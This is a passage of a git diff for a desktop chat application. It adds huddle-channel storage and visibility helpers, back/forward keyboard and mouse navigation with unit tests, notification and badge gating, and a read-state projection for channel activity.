       data-buzz-gradient-layer
     >
+      <div className="buzz-theme-gradient-underlay absolute inset-0" />
       <div
         className="buzz-theme-gradient-layer-light absolute inset-0 opacity-0"
         data-buzz-gradient="light"
@@ -19,13 +20,32 @@ export function GradientLayer() {
   );
 }
 
-export function ContentSurface({ children }: { children: ReactNode }) {
+export function ContentSurface({
+  children,
+  unframed = false,
+  terminal,
+}: {
+  children: ReactNode;
+  terminal?: ReactNode;
+  /** Used by dedicated huddle windows, which should not resemble app cards. */
+  unframed?: boolean;
+}) {
   return (
     <div
-      className="relative z-10 mb-2 ml-px mr-2 mt-px flex min-h-0 flex-1 flex-col overflow-hidden rounded-2xl bg-background shadow-content-edge"
+      className={
+        unframed
+          ? "relative z-10 flex min-h-0 flex-1 flex-col overflow-hidden bg-background"
+          : "relative z-10 mb-2 ml-px mr-2 mt-px flex min-h-0 flex-1 flex-col overflow-hidden rounded-2xl bg-background shadow-content-edge"
+      }
       data-buzz-content-surface
+      data-buzz-content-unframed={unframed ? true : undefined}
     >
-      {children}
+      <div className="buzz-content-primary flex min-h-0 flex-1 flex-col overflow-hidden">
+        {children}
+      </div>
+      <div className="buzz-terminal-dock-host" data-terminal-dock>
+        {terminal}
+      </div>
     </div>
   );
 }
diff --git a/desktop/src/app/LazySettingsScreen.tsx b/desktop/src/app/LazySettingsScreen.tsx
new file mode 100644
index 0000000000..8308ec723b
--- /dev/null
+++ b/desktop/src/app/LazySettingsScreen.tsx
@@ -0,0 +1,6 @@
+import * as React from "react";
+
+export const LazySettingsScreen = React.lazy(async () => {
+  const module = await import("@/features/settings/ui/SettingsScreen");
+  return { default: module.SettingsScreen };
+});
diff --git a/desktop/src/app/huddleBackingChannelStorage.test.mjs b/desktop/src/app/huddleBackingChannelStorage.test.mjs
new file mode 100644
index 0000000000..f88c0e1feb
--- /dev/null
+++ b/desktop/src/app/huddleBackingChannelStorage.test.mjs
@@ -0,0 +1,33 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+class MemoryStorage {
+  values = new Map();
+  getItem(key) {
+    return this.values.get(key) ?? null;
+  }
+  setItem(key, value) {
+    this.values.set(key, value);
+  }
+}
+
+globalThis.window = { localStorage: new MemoryStorage() };
+const { loadHuddleBackingChannelIds, rememberHuddleBackingChannelId } =
+  await import("./huddleBackingChannelStorage.ts");
+
+test("restores remembered Huddle backing channels", () => {
+  rememberHuddleBackingChannelId("first");
+  rememberHuddleBackingChannelId("second");
+  rememberHuddleBackingChannelId("first");
+  assert.deepEqual([...loadHuddleBackingChannelIds()], ["second", "first"]);
+});
+
+test("bounds persisted backing channels", () => {
+  for (let index = 0; index < 105; index += 1) {
+    rememberHuddleBackingChannelId(`channel-${index}`);
+  }
+  const ids = [...loadHuddleBackingChannelIds()];
+  assert.equal(ids.length, 100);
+  assert.equal(ids.at(0), "channel-5");
+  assert.equal(ids.at(-1), "channel-104");
+});
diff --git a/desktop/src/app/huddleBackingChannelStorage.ts b/desktop/src/app/huddleBackingChannelStorage.ts
new file mode 100644
index 0000000000..44b21a25d2
--- /dev/null
+++ b/desktop/src/app/huddleBackingChannelStorage.ts
@@ -0,0 +1,36 @@
+const STORAGE_KEY = "buzz:huddle-backing-channel-ids:v1";
+const MAX_TRACKED_CHANNELS = 100;
+
+function readStoredIds(): string[] {
+  try {
+    const value = JSON.parse(window.localStorage.getItem(STORAGE_KEY) ?? "[]");
+    return Array.isArray(value)
+      ? value.filter((id): id is string => typeof id === "string")
+      : [];
+  } catch {
+    return [];
+  }
+}
+
+/** Restores Huddle implementation channels after an abnormal app restart. */
+export function loadHuddleBackingChannelIds(): ReadonlySet<string> {
+  return new Set(readStoredIds());
+}
+
+/**
+ * Remembers a backing channel beyond the native Huddle process lifetime.
+ * Relay archive/removal can lag, so IDs remain hidden if the app crashes or is
+ * force-quit. The bounded list prevents abandoned local state growing forever.
+ */
+export function rememberHuddleBackingChannelId(channelId: string): void {
+  const ids = readStoredIds().filter((id) => id !== channelId);
+  ids.push(channelId);
+  try {
+    window.localStorage.setItem(
+      STORAGE_KEY,
+      JSON.stringify(ids.slice(-MAX_TRACKED_CHANNELS)),
+    );
+  } catch {
+    // Storage can be unavailable in browser previews or locked-down webviews.
+  }
+}
diff --git a/desktop/src/app/huddleChannelVisibility.test.mjs b/desktop/src/app/huddleChannelVisibility.test.mjs
new file mode 100644
index 0000000000..b08306e9e7
--- /dev/null
+++ b/desktop/src/app/huddleChannelVisibility.test.mjs
@@ -0,0 +1,65 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import {
+  isHuddleBackingChannel,
+  shouldShowSidebarChannel,
+} from "./huddleChannelVisibility.ts";
+
+function channel(overrides = {}) {
+  return {
+    id: "channel-id",
+    name: "general",
+    ttlSeconds: null,
+    ...overrides,
+  };
+}
+
+test("ordinary channels stay visible without an explicit reveal", () => {
+  assert.equal(shouldShowSidebarChannel(channel(), new Set(), new Set()), true);
+});
+
+test("tracked huddle backing channels stay hidden by default", () => {
+  const huddle = channel({
+    id: "stale-huddle",
+    name: "general huddle",
+    ttlSeconds: 3_600,
+  });
+  const huddleBackingChannelIds = new Set([huddle.id]);
+
+  assert.equal(isHuddleBackingChannel(huddle, huddleBackingChannelIds), true);
+  assert.equal(
+    shouldShowSidebarChannel(huddle, huddleBackingChannelIds, new Set()),
+    false,
+  );
+});
+
+test("an explicitly revealed huddle channel appears in the sidebar", () => {
+  const huddle = channel({
+    id: "active-huddle",
+    name: "huddle",
+    ttlSeconds: 3_600,
+  });
+
+  assert.equal(
+    shouldShowSidebarChannel(
+      huddle,
+      new Set([huddle.id]),
+      new Set([huddle.id]),
+    ),
+    true,
+  );
+});
+
+test("one-hour channels with huddle-shaped names remain ordinary", () => {
+  const ordinaryChannel = channel({
+    name: "design huddle",
+    ttlSeconds: 3_600,
+  });
+
+  assert.equal(isHuddleBackingChannel(ordinaryChannel, new Set()), false);
+  assert.equal(
+    shouldShowSidebarChannel(ordinaryChannel, new Set(), new Set()),
+    true,
+  );
+});
diff --git a/desktop/src/app/huddleChannelVisibility.ts b/desktop/src/app/huddleChannelVisibility.ts
new file mode 100644
index 0000000000..cee0717bee
--- /dev/null
+++ b/desktop/src/app/huddleChannelVisibility.ts
@@ -0,0 +1,19 @@
+import type { Channel } from "@/shared/api/types";
+
+export function isHuddleBackingChannel(
+  channel: Channel,
+  huddleBackingChannelIds: ReadonlySet<string>,
+): boolean {
+  return huddleBackingChannelIds.has(channel.id);
+}
+
+export function shouldShowSidebarChannel(
+  channel: Channel,
+  huddleBackingChannelIds: ReadonlySet<string>,
+  revealedHuddleChannelIds: ReadonlySet<string>,
+): boolean {
+  return (
+    !isHuddleBackingChannel(channel, huddleBackingChannelIds) ||
+    revealedHuddleChannelIds.has(channel.id)
+  );
+}
diff --git a/desktop/src/app/navigation/backForwardChords.test.mjs b/desktop/src/app/navigation/backForwardChords.test.mjs
new file mode 100644
index 0000000000..cb60203d04
--- /dev/null
+++ b/desktop/src/app/navigation/backForwardChords.test.mjs
@@ -0,0 +1,139 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import { matchBackForwardChord } from "./backForwardChords.ts";
+
+function chord(overrides = {}) {
+  return {
+    altKey: false,
+    code: "",
+    ctrlKey: false,
+    key: "",
+    metaKey: false,
+    shiftKey: false,
+    ...overrides,
+  };
+}
+
+// ── macOS: ⌘[ / ⌘] ───────────────────────────────────────────────────────────
+
+test("mac: ⌘[ matches back", () => {
+  assert.equal(
+    matchBackForwardChord(chord({ key: "[", metaKey: true }), true),
+    "back",
+  );
+});
+
+test("mac: ⌘] matches forward", () => {
+  assert.equal(
+    matchBackForwardChord(chord({ key: "]", metaKey: true }), true),
+    "forward",
+  );
+});
+
+test("mac: matches by code for non-US layouts", () => {
+  assert.equal(
+    matchBackForwardChord(
+      chord({ code: "BracketLeft", key: "Dead", metaKey: true }),
+      true,
+    ),
+    "back",
+  );
+  assert.equal(
+    matchBackForwardChord(
+      chord({ code: "BracketRight", key: "Dead", metaKey: true }),
+      true,
+    ),
+    "forward",
+  );
+});
+
+test("mac: requires meta", () => {
+  assert.equal(matchBackForwardChord(chord({ key: "[" }), true), null);
+});
+
+test("mac: rejects extra modifiers", () => {
+  for (const extra of [
+    { altKey: true },
+    { ctrlKey: true },
+    { shiftKey: true },
+  ]) {
+    assert.equal(
+      matchBackForwardChord(chord({ key: "[", metaKey: true, ...extra }), true),
+      null,
+    );
+  }
+});
+
+test("mac: Alt+arrows do not match (that is the win/linux chord)", () => {
+  assert.equal(
+    matchBackForwardChord(chord({ altKey: true, key: "ArrowLeft" }), true),
+    null,
+  );
+});
+
+test("mac: ⌘←/⌘→ never match — they are line start/end in text editing", () => {
+  // Deliberately unbound: editable targets must keep receiving ⌘←/⌘→ so
+  // line-start/line-end editing still works. Only ⌘[ / ⌘] navigate.
+  assert.equal(
+    matchBackForwardChord(chord({ key: "ArrowLeft", metaKey: true }), true),
+    null,
+  );
+  assert.equal(
+    matchBackForwardChord(chord({ key: "ArrowRight", metaKey: true }), true),
+    null,
+  );
+});
+
+// ── Windows/Linux: Alt+← / Alt+→ ─────────────────────────────────────────────
+
+test("win/linux: Alt+ArrowLeft matches back", () => {
+  assert.equal(
+    matchBackForwardChord(chord({ altKey: true, key: "ArrowLeft" }), false),
+    "back",
+  );
+});
+
+test("win/linux: Alt+ArrowRight matches forward", () => {
+  assert.equal(
+    matchBackForwardChord(chord({ altKey: true, key: "ArrowRight" }), false),
+    "forward",
+  );
+});
+
+test("win/linux: requires alt", () => {
+  assert.equal(matchBackForwardChord(chord({ key: "ArrowLeft" }), false), null);
+});
+
+test("win/linux: rejects extra modifiers", () => {
+  for (const extra of [
+    { ctrlKey: true },
+    { metaKey: true },
+    { shiftKey: true },
+  ]) {
+    assert.equal(
+      matchBackForwardChord(
+        chord({ altKey: true, key: "ArrowLeft", ...extra }),
+        false,
+      ),
+      null,
+    );
+  }
+});
+
+test("win/linux: ⌘[ does not match (that is the mac chord)", () => {
+  assert.equal(
+    matchBackForwardChord(chord({ key: "[", metaKey: true }), false),
+    null,
+  );
+});
+
+// ── Non-chord keys never match ────────────────────────────────────────────────
+
+test("plain bracket / arrow keys without the platform modifier never match", () => {
+  for (const isMac of [true, false]) {
+    for (const key of ["[", "]", "ArrowLeft", "ArrowRight", "a", "Enter"]) {
+      assert.equal(matchBackForwardChord(chord({ key }), isMac), null);
+    }
+  }
+});
diff --git a/desktop/src/app/navigation/backForwardChords.ts b/desktop/src/app/navigation/backForwardChords.ts
new file mode 100644
index 0000000000..ac81f52ea7
--- /dev/null
+++ b/desktop/src/app/navigation/backForwardChords.ts
@@ -0,0 +1,51 @@
+/**
+ * Global back/forward navigation chords.
+ *
+ * macOS: ⌘[ / ⌘] — matching Safari, Chrome, Finder, and Slack.
+ * Windows/Linux: Alt+← / Alt+→ — matching browsers and Slack.
+ *
+ * Kept pure (no DOM access) so chord matching can be unit tested; the
+ * window listener wiring lives in `useBackForwardControls`.
+ */
+
+export type BackForwardDirection = "back" | "forward";
+
+export type BackForwardChordEvent = Pick<
+  KeyboardEvent,
+  "altKey" | "code" | "ctrlKey" | "key" | "metaKey" | "shiftKey"
+>;
+
+export function matchBackForwardChord(
+  event: BackForwardChordEvent,
+  isMac: boolean,
+): BackForwardDirection | null {
+  if (isMac) {
+    if (!event.metaKey || event.ctrlKey || event.altKey || event.shiftKey) {
+      return null;
+    }
+
+    if (event.key === "[" || event.code === "BracketLeft") {
+      return "back";
+    }
+
+    if (event.key === "]" || event.code === "BracketRight") {
+      return "forward";
+    }
+
+    return null;
+  }
+
+  if (!event.altKey || event.metaKey || event.ctrlKey || event.shiftKey) {
+    return null;
+  }
+
+  if (event.key === "ArrowLeft") {
+    return "back";
+  }
+
+  if (event.key === "ArrowRight") {
+    return "forward";
+  }
+
+  return null;
+}
diff --git a/desktop/src/app/navigation/useAppNavigation.ts b/desktop/src/app/navigation/useAppNavigation.ts
index f928970610..4c7382a306 100644
--- a/desktop/src/app/navigation/useAppNavigation.ts
+++ b/desktop/src/app/navigation/useAppNavigation.ts
@@ -79,6 +79,18 @@ export function useAppNavigation() {
     [commitNavigation],
   );
 
+  const goProfile = React.useCallback(
+    (pubkey: string, behavior?: NavigationBehavior) =>
+      commitNavigation(
+        {
+          to: "/pulse",
+          search: { profile: pubkey },
+        },
+        behavior,
+      ),
+    [commitNavigation],
+  );
+
   const goProjects = React.useCallback(
     (behavior?: NavigationBehavior) =>
       commitNavigation(
@@ -97,6 +109,7 @@ export function useAppNavigation() {
         commitHash?: string;
         pullRequestId?: string;
         issueId?: string;
+        repositoryId?: string;
       },
     ) =>
       commitNavigation(
@@ -113,6 +126,9 @@ export function useAppNavigation() {
               ? { pullRequestId: behavior.pullRequestId }
               : {}),
             ...(behavior?.issueId ? { issueId: behavior.issueId } : {}),
+            ...(behavior?.repositoryId
+              ? { repositoryId: behavior.repositoryId }
+              : {}),
           },
         },
         behavior,
@@ -159,6 +175,8 @@ export function useAppNavigation() {
         autoSend?: string;
         messageId?: string;
         replace?: boolean;
+        /** Open this thread panel directly without waiting for a timeline row. */
+        thread?: string;
         threadRootId?: string | null;
       },
     ) =>
@@ -178,6 +196,7 @@ export function useAppNavigation() {
             ...(options?.agentSession
               ? { agentSession: options.agentSession }
               : {}),
+            ...(options?.thread ? { thread: options.thread } : {}),
             ...(options?.autoSend ? { autoSend: options.autoSend } : {}),
           },
         },
@@ -303,6 +322,7 @@ export function useAppNavigation() {
     goProject,
     goProjects,
     goPulse,
+    goProfile,
     goSettings,
     goWorkflow,
     goWorkflows,
diff --git a/desktop/src/app/navigation/useBackForwardControls.ts b/desktop/src/app/navigation/useBackForwardControls.ts
index 7f7d84f6d7..e5513247d5 100644
--- a/desktop/src/app/navigation/useBackForwardControls.ts
+++ b/desktop/src/app/navigation/useBackForwardControls.ts
@@ -4,7 +4,10 @@ import {
   useRouter,
   useRouterState,
 } from "@tanstack/react-router";
+import { isTauri } from "@tauri-apps/api/core";
+import { listen } from "@tauri-apps/api/event";
 
+import { matchBackForwardChord } from "@/app/navigation/backForwardChords";
 import { isMacPlatform } from "@/shared/lib/platform";
 import { trimMapToSize } from "@/shared/lib/trimMapToSize";
 
@@ -14,19 +17,6 @@ type RouterHistoryState = {
   key?: string;
 };
 
-function isEditableTarget(target: EventTarget | null): boolean {
-  if (!(target instanceof HTMLElement)) {
-    return false;
-  }
-
-  return (
-    target.isContentEditable ||
-    target.closest(
-      'input, textarea, select, [contenteditable=""], [contenteditable="true"]',
-    ) !== null
-  );
-}
-
 export function useBackForwardControls() {
   const router = useRouter();
   const canGoBack = useCanGoBack();
@@ -81,42 +71,34 @@ export function useBackForwardControls() {
   }, [canGoForward, router.history]);
 
   const handleKeyDown = React.useEffectEvent((event: KeyboardEvent) => {
-    if (isEditableTarget(event.target)) {
+    // Note: the chords deliberately fire even when focus is inside an
+    // editable element. The composer autofocuses on every channel switch
+    // (`useComposerAutofocus`), so in steady state focus almost always
+    // lives in a contenteditable — an editable-target guard here made the
+    // shortcuts effectively dead (#3775). Safe because neither ⌘[ / ⌘]
+    // (macOS) nor Alt+←/→ (Windows/Linux) carry text-editing semantics,
+    // and the TipTap editor binds no conflicting shortcuts.
+    const direction = matchBackForwardChord(event, isMacPlatform());
+
+    if (direction === "back") {
+      event.preventDefault();
+      goBack();
       return;
     }
 
-    const isMac = isMacPlatform();
-    const isBackShortcut = isMac
-      ? event.metaKey &&
-        !event.ctrlKey &&
-        !event.altKey &&
-        !event.shiftKey &&
-        (event.key === "[" || event.code === "BracketLeft")
-      : event.altKey &&
-        !event.metaKey &&
-        !event.ctrlKey &&
-        !event.shiftKey &&
-        event.key === "ArrowLeft";
-    const isForwardShortcut = isMac
-      ? event.metaKey &&
-        !event.ctrlKey &&
-        !event.altKey &&
-        !event.shiftKey &&
-        (event.key === "]" || event.code === "BracketRight")
-      : event.altKey &&
-        !event.metaKey &&
-        !event.ctrlKey &&
-        !event.shiftKey &&
-        event.key === "ArrowRight";
-
-    if (isBackShortcut) {
+    if (direction === "forward") {
       event.preventDefault();
+      goForward();
+    }
+  });
+
+  const handleMouseNav = React.useEffectEvent((direction: string) => {
+    if (direction === "back") {
       goBack();
       return;
     }
 
-    if (isForwardShortcut) {
-      event.preventDefault();
+    if (direction === "forward") {
       goForward();
     }
   });
@@ -128,6 +110,23 @@ export function useBackForwardControls() {
     };
   }, []);
 
+  // macOS: WKWebView never delivers X1/X2 button events or horizontal
+  // swipe gestures to the DOM, so the native layer catches them
+  // (`mouse_nav.rs`) and forwards them as a Tauri event.
+  React.useEffect(() => {
+    if (!isTauri()) {
+      return;
+    }
+
+    const unlistenPromise = listen<string>("mouse-nav", (event) => {
+      handleMouseNav(event.payload);
+    });
+
+    return () => {
+      void unlistenPromise.then((unlisten) => unlisten());
+    };
+  }, []);
+
   return {
     canGoBack,
     canGoForward,
diff --git a/desktop/src/app/routes/ChannelRouteScreen.tsx b/desktop/src/app/routes/ChannelRouteScreen.tsx
index 9e689ab507..d626179ebb 100644
--- a/desktop/src/app/routes/ChannelRouteScreen.tsx
+++ b/desktop/src/app/routes/ChannelRouteScreen.tsx
@@ -4,6 +4,8 @@ import { getCachedSearchHitEvent } from "@/app/navigation/searchHitEventCache";
 import { useAppNavigation } from "@/app/navigation/useAppNavigation";
 import { useChannelsQuery } from "@/features/channels/hooks";
 import { ChannelScreen } from "@/features/channels/ui/ChannelScreen";
+import { HuddleStartingView } from "@/features/huddle/components/HuddleStartingView";
+import { huddleWindowChannelId } from "@/features/huddle/lib/huddleWindow";
 import {
   getThreadReference,
   isBroadcastReply,
@@ -102,6 +104,7 @@ export function ChannelRouteScreen({
   targetReplyId,
   targetThreadRootId,
 }: ChannelRouteScreenProps) {
+  const isHuddleTranscript = huddleWindowChannelId() !== null;
   const { closeForumPost, goForumPost } = useAppNavigation();
   const channelsQuery = useChannelsQuery();
   const identityQuery = useIdentityQuery();
@@ -186,6 +189,9 @@ export function ChannelRouteScreen({
   }, [selectedPostId, targetMessageId, targetThreadRootId]);
 
   if (channelsQuery.isPending && !activeChannel) {
+    if (isHuddleTranscript) {
+      return <HuddleStartingView />;
+    }
     return (
       <ViewLoadingFallback
         includeHeader
diff --git a/desktop/src/app/routes/channels.$channelId.tsx b/desktop/src/app/routes/channels.$channelId.tsx
index f032eff9d0..892eef6a56 100644
--- a/desktop/src/app/routes/channels.$channelId.tsx
+++ b/desktop/src/app/routes/channels.$channelId.tsx
@@ -7,6 +7,8 @@ import {
   type ProfilePanelTab,
   type ProfilePanelView,
 } from "@/features/profile/ui/UserProfilePanelUtils";
+import { HuddleStartingView } from "@/features/huddle/components/HuddleStartingView";
+import { huddleWindowChannelId } from "@/features/huddle/lib/huddleWindow";
 import { ViewLoadingFallback } from "@/shared/ui/ViewLoadingFallback";
 
 type ChannelRouteSearch = {
@@ -57,10 +59,17 @@ const ChannelRouteScreen = React.lazy(async () => {
 function ChannelRouteComponent() {
   const { channelId } = Route.useParams();
   const search = Route.useSearch();
+  const isHuddleTranscript = huddleWindowChannelId() !== null;
 
   return (
     <React.Suspense
-      fallback={<ViewLoadingFallback includeHeader kind="channel" />}
+      fallback={
+        isHuddleTranscript ? (
+          <HuddleStartingView />
+        ) : (
+          <ViewLoadingFallback includeHeader kind="channel" />
+        )
+      }
     >
       <ChannelRouteScreen
         autoSendDraftKey={search.autoSend ?? null}
diff --git a/desktop/src/app/routes/projects.$projectId.tsx b/desktop/src/app/routes/projects.$projectId.tsx
index 3ce58efa8c..4954428748 100644
--- a/desktop/src/app/routes/projects.$projectId.tsx
+++ b/desktop/src/app/routes/projects.$projectId.tsx
@@ -19,13 +19,16 @@ export const Route = createFileRoute("/projects/$projectId")({
         ? search.pullRequestId
         : undefined,
     issueId: typeof search.issueId === "string" ? search.issueId : undefined,
+    repositoryId:
+      typeof search.repositoryId === "string" ? search.repositoryId : undefined,
   }),
 });
 
 function ProjectDetailRouteComponent() {
   usePreviewFeatureWarning("projects");
   const { projectId } = Route.useParams();
-  const { commitHash, pullRequestId, issueId } = Route.useSearch();
+  const { commitHash, pullRequestId, issueId, repositoryId } =
+    Route.useSearch();
 
   return (
     <React.Suspense fallback={<ViewLoadingFallback kind="projects" />}>
@@ -34,6 +37,7 @@ function ProjectDetailRouteComponent() {
         issueId={issueId}
         projectId={projectId}
         pullRequestId={pullRequestId}
+        repositoryId={repositoryId}
       />
     </React.Suspense>
   );
diff --git a/desktop/src/app/useAppShellDesktopNotifications.ts b/desktop/src/app/useAppShellDesktopNotifications.ts
index 2266862cac..f739e900df 100644
--- a/desktop/src/app/useAppShellDesktopNotifications.ts
+++ b/desktop/src/app/useAppShellDesktopNotifications.ts
@@ -20,18 +20,22 @@ import {
 import {
   playNotificationSound,
   resolveSlotSound,
+  shouldPlayNotificationSound,
 } from "@/features/notifications/lib/sound";
 import type { Channel, RelayEvent } from "@/shared/api/types";
 
 export function useAppShellDesktopNotifications({
   channels,
+  enabled,
   goChannel,
   goHome,
   notificationSettings,
   openSearchHit,
   pubkey,
+  silentChannelIds,
 }: {
   channels: Channel[];
+  enabled: boolean;
   goChannel: (channelId: string) => Promise<unknown>;
   goHome: () => Promise<unknown>;
   notificationSettings: NotificationSettings;
@@ -39,9 +43,11 @@ export function useAppShellDesktopNotifications({
     hit: import("@/shared/api/types").SearchHit,
   ) => Promise<unknown>;
   pubkey?: string;
+  silentChannelIds?: ReadonlySet<string>;
 }) {
   const handleChannelNotification = React.useEffectEvent(
     (_channelId: string, event: RelayEvent) => {
+      if (!enabled) return;
       if (!shouldBounceForChannelNotification(event.tags)) return;
       if (!notificationSettings.desktopEnabled) return;
       void requestDockBounce();
@@ -50,6 +56,7 @@ export function useAppShellDesktopNotifications({
 
   const handleDmNotification = React.useEffectEvent(
     (event: RelayEvent, channel: Channel) => {
+      if (!enabled) return;
       if (
         !notificationSettings.desktopEnabled ||
         !notificationSettings.slotAlertsEnabled.dm
@@ -76,7 +83,9 @@ export function useAppShellDesktopNotifications({
         },
       }).then((didSend) => {
         if (!didSend) return;
-        playNotificationSound(resolveSlotSound(notificationSettings, "dm"));
+        if (shouldPlayNotificationSound(channel.id, silentChannelIds)) {
+          playNotificationSound(resolveSlotSound(notificationSettings, "dm"));
+        }
         void requestDockBounce();
       });
     },
@@ -84,6 +93,7 @@ export function useAppShellDesktopNotifications({
 
   const handleThreadReplyDesktopNotification = React.useEffectEvent(
     (channelId: string, event: RelayEvent) => {
+      if (!enabled) return;
       if (
         !notificationSettings.desktopEnabled ||
         !notificationSettings.slotAlertsEnabled.thread_reply
@@ -121,9 +131,11 @@ export function useAppShellDesktopNotifications({
         },
       }).then((didSend) => {
         if (!didSend) return;
-        playNotificationSound(
-          resolveSlotSound(notificationSettings, "thread_reply"),
-        );
+        if (shouldPlayNotificationSound(channelId, silentChannelIds)) {
+          playNotificationSound(
+            resolveSlotSound(notificationSettings, "thread_reply"),
+          );
+        }
         void requestDockBounce();
       });
     },
@@ -151,6 +163,7 @@ export function useAppShellDesktopNotifications({
   );
 
   React.useEffect(() => {
+    if (!enabled) return;
     let isCancelled = false;
     let cleanup = () => {};
 
@@ -173,7 +186,7 @@ export function useAppShellDesktopNotifications({
       isCancelled = true;
       cleanup();
     };
-  }, []);
+  }, [enabled]);
 
   return {
     handleChannelNotification,
diff --git a/desktop/src/app/useAppShellLifecycleEffects.ts b/desktop/src/app/useAppShellLifecycleEffects.ts
index cc0447cc32..2d56d24cb3 100644
--- a/desktop/src/app/useAppShellLifecycleEffects.ts
+++ b/desktop/src/app/useAppShellLifecycleEffects.ts
@@ -2,18 +2,25 @@ import * as React from "react";
 
 import { setDesktopAppBadge } from "@/features/notifications/lib/desktop";
 import { relayClient } from "@/shared/api/relayClient";
+import { useRelayResumeTriggers } from "@/shared/api/useRelayResumeTriggers";
 
 type AppShellLifecycleEffectsOptions = {
+  desktopBadgeEnabled: boolean;
   homeBadgeCountExcludingHighPriority: number;
   unreadChannelIds: ReadonlySet<string>;
   unreadChannelNotificationCount: number;
 };
 
 export function useAppShellLifecycleEffects({
+  desktopBadgeEnabled,
   homeBadgeCountExcludingHighPriority,
   unreadChannelIds,
   unreadChannelNotificationCount,
 }: AppShellLifecycleEffectsOptions) {
+  // Event-driven reconnect: network online / focus / visibility short-circuit
+  // the backoff timer when the relay session is degraded (CMD+R gap G1).
+  useRelayResumeTriggers();
+
   // Prevent webview file:/// navigation on file drop outside the composer.
   // Scoped to file drags only (text drag-and-drop into inputs still works).
   // Composer's onDrop fires first (React synthetic before window bubble).
@@ -64,6 +71,10 @@ export function useAppShellLifecycleEffects({
   }, []);
 
   React.useEffect(() => {
+    if (!desktopBadgeEnabled) {
+      return;
+    }
+
     const count =
       unreadChannelNotificationCount + homeBadgeCountExcludingHighPriority;
     void setDesktopAppBadge(
@@ -72,6 +83,7 @@ export function useAppShellLifecycleEffects({
         : { kind: unreadChannelIds.size ? "dot" : "none" },
     );
   }, [
+    desktopBadgeEnabled,
     homeBadgeCountExcludingHighPriority,
     unreadChannelIds,
     unreadChannelNotificationCount,
diff --git a/desktop/src/app/useChannelActivityProjection.test.mjs b/desktop/src/app/useChannelActivityProjection.test.mjs
new file mode 100644
index 0000000000..6b54f32246
--- /dev/null
+++ b/desktop/src/app/useChannelActivityProjection.test.mjs
@@ -0,0 +1,30 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import { resolveChannelActivityFeedItemReadAt } from "./useChannelActivityProjection.ts";
+
+test("channel activity read state folds the item's own message and channel markers", () => {
+  const markers = new Map([
+    ["msg:reply-general", 100],
+    ["general", 200],
+    ["random", 500],
+  ]);
+
+  assert.equal(
+    resolveChannelActivityFeedItemReadAt(
+      { id: "reply-general", channelId: "general" },
+      (contextId) => markers.get(contextId) ?? null,
+    ),
+    200,
+  );
+});
+
+test("channel activity read state honors a channel marker without a message marker", () => {
+  assert.equal(
+    resolveChannelActivityFeedItemReadAt(
+      { id: "reply-general", channelId: "general" },
+      (contextId) => (contextId === "general" ? 300 : null),
+    ),
+    300,
+  );
+});
diff --git a/desktop/src/app/useChannelActivityProjection.ts b/desktop/src/app/useChannelActivityProjection.ts
new file mode 100644
index 0000000000..b1961318ce
--- /dev/null
+++ b/desktop/src/app/useChannelActivityProjection.ts
@@ -0,0 +1,145 @@
+import * as React from "react";
+
+import { useThreadActivityFeedItems } from "@/app/useThreadActivityFeedItems";
+import {
+  maxReadAt,
+  msgContextKey,
+} from "@/features/channels/readState/readStateFormat";
+import type { ThreadActivityItem } from "@/features/channels/useUnreadChannels";
+import { isThreadReply } from "@/features/messages/lib/threading";
+import type { Channel, FeedItem, HomeFeed } from "@/shared/api/types";
+
+type ReadTimestamp = (contextKey: string) => number | null;
+type MarkChannelRead = (
+  contextKey: string,
+  readAt: string | null | undefined,
+  options?: { topLevelOnly?: boolean },
+) => void;
+
+type UseChannelActivityProjectionOptions = {
+  channels: Channel[];
+  feed: HomeFeed | undefined;
+  unreadFeedItemIds: ReadonlySet<string>;
+  getChannelReadAt: ReadTimestamp;
+  getOwnReadAt: ReadTimestamp;
+  markChannelRead: MarkChannelRead;
+  readStateVersion: number;
+  threadActivityItems: ThreadActivityItem[];
+  mutedRootIds: ReadonlySet<string>;
+};
+
+export function resolveChannelActivityFeedItemReadAt(
+  item: Pick<FeedItem, "channelId" | "id">,
+  getOwnReadAt: ReadTimestamp,
+): number | null {
+  return maxReadAt(
+    getOwnReadAt(msgContextKey(item.id)),
+    item.channelId ? getOwnReadAt(item.channelId) : null,
+  );
+}
+
+export function useChannelActivityProjection({
+  channels,
+  feed,
+  unreadFeedItemIds,
+  getChannelReadAt,
+  getOwnReadAt,
+  markChannelRead,
+  readStateVersion,
+  threadActivityItems,
+  mutedRootIds,
+}: UseChannelActivityProjectionOptions) {
+  const getThreadReadAt = React.useCallback(
+    (rootId: string, channelId?: string | null) => {
+      const threadReadAt = getOwnReadAt(`thread:${rootId}`);
+      if (!channelId) return threadReadAt;
+
+      const channelReadAt = getChannelReadAt(channelId);
+      if (threadReadAt === null) return channelReadAt;
+      if (channelReadAt === null) return threadReadAt;
+      return Math.max(threadReadAt, channelReadAt);
+    },
+    [getChannelReadAt, getOwnReadAt],
+  );
+  const markThreadRead = React.useCallback(
+    (rootId: string, timestamp: number) =>
+      markChannelRead(
+        `thread:${rootId}`,
+        new Date(timestamp * 1_000).toISOString(),
+      ),
+    [markChannelRead],
+  );
+  const getMessageReadAt = React.useCallback(
+    (messageId: string) => getChannelReadAt(msgContextKey(messageId)),
+    [getChannelReadAt],
+  );
+  const getChannelActivityItemReadAt = React.useCallback(
+    (item: Pick<FeedItem, "channelId" | "id">) =>
+      resolveChannelActivityFeedItemReadAt(item, getOwnReadAt),
+    [getOwnReadAt],
+  );
+  const markMessageRead = React.useCallback(
+    (messageId: string, timestamp: number) =>
+      markChannelRead(
+        msgContextKey(messageId),
+        new Date(timestamp * 1_000).toISOString(),
+      ),
+    [markChannelRead],
+  );
+  const threadActivityFeedItems = useThreadActivityFeedItems(
+    threadActivityItems,
+    mutedRootIds,
+    channels,
+  );
+  const locallyUnreadFeedItems = React.useMemo(() => {
+    if (!feed || unreadFeedItemIds.size === 0) return [];
+    return [
+      ...feed.mentions,
+      ...feed.needsAction,
+      ...feed.activity,
+      ...feed.agentActivity,
+    ].filter((item) => unreadFeedItemIds.has(item.id));
+  }, [feed, unreadFeedItemIds]);
+  const unreadThreadFeedItems = React.useMemo(() => {
+    void readStateVersion;
+    const candidatesById = new Map<string, FeedItem>(
+      threadActivityFeedItems.map((item) => [item.id, item]),
+    );
+    for (const item of locallyUnreadFeedItems)
+      candidatesById.set(item.id, item);
+
+    return [...candidatesById.values()].filter(
+      (item) =>
+        isThreadReply(item.tags) &&
